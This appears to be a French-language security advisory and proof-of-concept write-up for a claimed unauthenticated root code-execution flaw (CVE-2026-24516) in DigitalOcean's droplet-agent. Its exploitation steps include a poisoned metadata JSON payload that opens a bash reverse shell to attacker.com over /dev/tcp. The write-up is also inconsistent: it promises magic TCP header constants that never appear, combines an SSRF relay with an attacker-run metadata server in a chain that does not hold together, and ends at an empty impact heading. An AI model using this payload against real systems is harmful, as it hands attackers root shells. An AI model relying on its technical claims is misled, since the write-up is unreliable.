
Analyse technique et PoC pour CVE-2026-24516 : exécution de code à distance en tant que root sans authentification dans DigitalOcean Droplet Agent (CVSS 10.0).
ID: CVE-2026-24516
TITRE: RCE root non authentifiée via empoisonnement des métadonnées et canal auxiliaire
SÉVÉRITÉ: Critique (CVSS v3.1 : 10.0 / AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CHERCHEUR: Anmol Singh Rajput (@poxsky)
AFFECTÉ: DigitalOcean Droplet Agent (droplet-agent) <= v1.3.2
================================================================================
Le 'droplet-agent' est un démon système privilégié (UID 0) conçu pour la télémétrie et le diagnostic à distance. Il maintient un état de surveillance passive jusqu'à la réception d'une séquence de signalisation spécifique. La vulnérabilité principale réside dans le « modèle de confiance implicite » du service de métadonnées link-local (169.254.169.254), qui ne dispose d'aucune vérification d'intégrité cryptographique.
A. CANAL AUXILIAIRE TCP PASSIF (LA COUCHE DE SIGNALISATION) L'agent utilise un écouteur de socket brut (internal/metadata/watcher/ssh_watcher.go) sur le port 22. Il effectue une transition d'état de IDLE à ACTIVE en fonction de constantes magiques codées en dur dans l'en-tête TCP :
Analyse : Cela crée un déclencheur déterministe. Un attaquant externe peut usurper l'identité du plan de contrôle de l'infrastructure en falsifiant un unique paquet TCP SYN contenant ces valeurs magiques.
B. VIOLATION DE LA FRONTIÈRE DE CONFIANCE (LA FAILLE LINK-LOCAL) Lors de la signalisation, l'agent récupère des instructions JSON depuis le point de terminaison des métadonnées cloud. La vulnérabilité est une absence de vérification d'authenticité. L'agent traite la zone 169.254.169.254 comme une « zone de confiance renforcée », omettant de vérifier les signatures des charges utiles (HMAC/mTLS).
C. LE POINT DE CHUTE : INJECTION DE COMMANDES NON ASSAINIES Le 'TroubleshootingActioner' (internal/troubleshooting/actioner/actioner.go) contient un point de chute où il analyse le tableau 'requesting'.
USURPATION : L'attaquant identifie une SSRF dans une application hébergée pour relayer des requêtes vers le service de métadonnées link-local.
EMPOISONNEMENT : L'attaquant met en place un serveur de métadonnées malveillant retournant : {"requesting": ["command:bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'"]}
LE FRAPPE : L'attaquant envoie le déclencheur TCP « DODO-TTY » vers le port 22.
EXÉCUTION : L'agent récupère le JSON empoisonné et exécute le reverse shell avec un UID EFFECTIF de 0 (Root).
ÉVALUATION DE L'IMPACT
